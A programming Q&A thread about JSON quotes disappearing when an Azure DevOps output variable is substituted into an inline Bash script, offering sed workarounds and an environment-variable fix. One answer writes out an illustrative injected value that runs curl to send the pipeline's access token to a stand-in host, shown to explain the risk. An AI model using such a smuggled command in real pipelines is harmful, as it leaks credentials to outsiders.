Prevent quotes from disappearing in JSON in between Azure DevOps tasks

Question

I'm looking to enable static site hosting on a storage account, created by an Azure Resource Manager (ARM) template in in an Azure DevOps pipeline, but fail to get jq to parse the ARM output variable.

Step 1: YML of Azure DevOps task that creates the resource group

- task: AzureResourceGroupDeployment@2
  inputs:
    azureSubscription: 'AzureSubscription'
    action: 'Create Or Update Resource Group'
    resourceGroupName: 'vue-demo-app'
    location: 'West Europe'
    templateLocation: 'Linked artifact'
    csmFile: '$(Build.ArtifactStagingDirectory)/infra/infra.json'
    csmParametersFile: '$(Build.ArtifactStagingDirectory)/infra/env-arm-params-default.json'
    deploymentMode: 'Incremental'
    deploymentOutputs: 'appstoragename'
  displayName: 'Create or update resource group'

Logs show as follows:

##[debug]set appstoragename={"appstoragename":{"type":"String","value":"demoappstaticstore"}}

So at this point, there is a valid JSON value returned to Azure DevOps. So far, so good.

Step 2: Azure DevOps task that tries to enable static website hosting on the storage account

- task: AzureCLI@1
  inputs:
    azureSubscription: 'AzureSubscription'
    scriptLocation: 'inlineScript'
    inlineScript: |
      echo "Enabling static website hosting on the storage account"
      SA_NAME=$(appstoragename) | jq -r '.appstoragename'
      echo "Script input argument is: $(appstoragename)"
      echo "Parsed storage account name is: $SA_NAME"
      az storage blob service-properties update --account-name $SA_NAME --static-website --index-document index.html

Logs show as follows:

Enabling static website hosting on the storage account
Script input argument is: {appstoragename:{type:String,value:jvwdemoappstaticstore}}
Parsed storage account name is: 

IMHO the problem is that I'm 'losing' the quotes in $(appstoragename) and I need them because I think jq does not like the fact that they're not there.

How can I prevent those quotes from disappearing?

Answer 1

So in the end I used stream editor sed to fix up the JSON and add double quotes so that jq would accept it as valid JSON:

# Needed this to prevent 'brace expansion' - which
# happens at the echo $() part since the armoutputs contains braces
set +B

# I would have also *loved* a nicer solution - but this puts
# quotes and newlines, which makes the input valid JSON for 'jq'
ARGTOJSON=$(echo $(armoutputs) | \
  sed -e 's/}/"\n}/g' | \
  sed -e 's/{/{\n"/g' | \
  sed -e 's/:/":"/g' | \
  sed -e 's/,/",\n"/g' | \
  sed -e 's/"}/}/g' | \
  sed -e 's/}"/}/g' | \
  sed -e 's/"{/{/g');

# Now 'jq' is happy to work with the JSON
SA_NAME=$(echo $ARGTOJSON | jq -r .appstoragename.value)

While searching for other solutions, I also found hjson but that would require me to bundle the executable with the code, since there's no apt-get available as far as I could judge.

Answer 2

TL;DR

Use an environment variable instead:

- task: AzureCLI@1
  inputs:
    azureSubscription: 'AzureSubscription'
    scriptLocation: 'inlineScript'
    inlineScript: |
      echo "Enabling static website hosting on the storage account"
      SA_NAME=$(echo "${APP_STORAGE_NAME}" | jq -r '.appstoragename')
      echo "Script input argument is: ${APP_STORAGE_NAME}"
      echo "Parsed storage account name is: $SA_NAME"
      az storage blob service-properties update --account-name $SA_NAME --static-website --index-document index.html
  env:
    APP_STORAGE_NAME: $(appstoragename)

Details

The problem is that you use the JSON string as a part of the source code of the Bash script.

Azure Pipelines variables referenced using macro syntax – $(foo) – are expanded "at runtime before a task executes". By substituting the value of the appstoragename variable (which, as we know, is the JSON string) for $(appstoragename) in the value of the inlineScript input, we can see that we end up constructing and running this Bash script:

echo "Enabling static website hosting on the storage account"
SA_NAME={"appstoragename":{"type":"String","value":"demoappstaticstore"}} | jq -r '.appstoragename'
echo "Script input argument is: {"appstoragename":{"type":"String","value":"demoappstaticstore"}}"
echo "Parsed storage account name is: $SA_NAME"
az storage blob service-properties update --account-name $SA_NAME --static-website --index-document index.html

As you can see, it's not even close to what we actually mean, especially the second line.

The reason the JSON quotes appear to have been "lost" is that, in the third line, the first " in the JSON string closes the quoted Bash string starting with the " in echo "Script, and so on all the way to the last " in the JSON string, which happens to match the final " on that line. So, as usual, Bash consumes all the quotes and passes the resulting string as a single argument to echo. Notably:

• Had any key(s) or value(s) in the JSON string contained any space(s), then multiple arguments would have been passed to echo. Any sequences of multiple consecutive spaces in keys or values would have been "lost", as they would not have been passed to echo at all. Example:

  echo "Script input argument is: {"app    storagename":42}"
  

• Had the third line used single quotes, i.e. echo 'Script input …', then the JSON would have been preserved in that line's output – unless some of the keys or values in the JSON had contained a '!

• Had the value of the appstoragename Azure Pipelines variable been "; curl --data "$SYSTEM_ACCESSTOKEN" http://evil.example.com; echo ", then your Azure Pipelines access token would have been sent (unencrypted) to someone on the Internet. ?

As you can see, trying to build a Bash script like this will always lead to pain and misery, one way or the other. The real solution is to store the JSON string in an environment variable, as shown in the TL;DR above. Then you don't need any complicated sed workaround and you don't need to worry about escaping anything at all – you can instead just write what you mean! ?

Answer 3

Very similar to the answer provided by @Jochen, I modified his answer to work with the Azure Pipeline function, "convertToJson".

First you can define a parameter object like this.

parameters:
  - name   : PIPELINE_PARAMS
    type   : object
    default:
      parameters:
        param1: sample
        param2: sample2

Then, in a bash script step, use SED to properly format the JSON.

parameters=$(echo "${{ convertToJson(PIPELINE_PARAMS) }}" | \
  sed -e 's/^  /  "/g' | \
  sed -e 's/: /": "/g' | \
  sed -e 's/,$/",/g' | \
  sed -e 's/"}/}/g' | \
  sed -e 's/}"/}/g' | \
  sed -e 's/"{/{/g' | \
  sed -e 's/\([a-zA-Z0-9]\)$/\1"/g'
);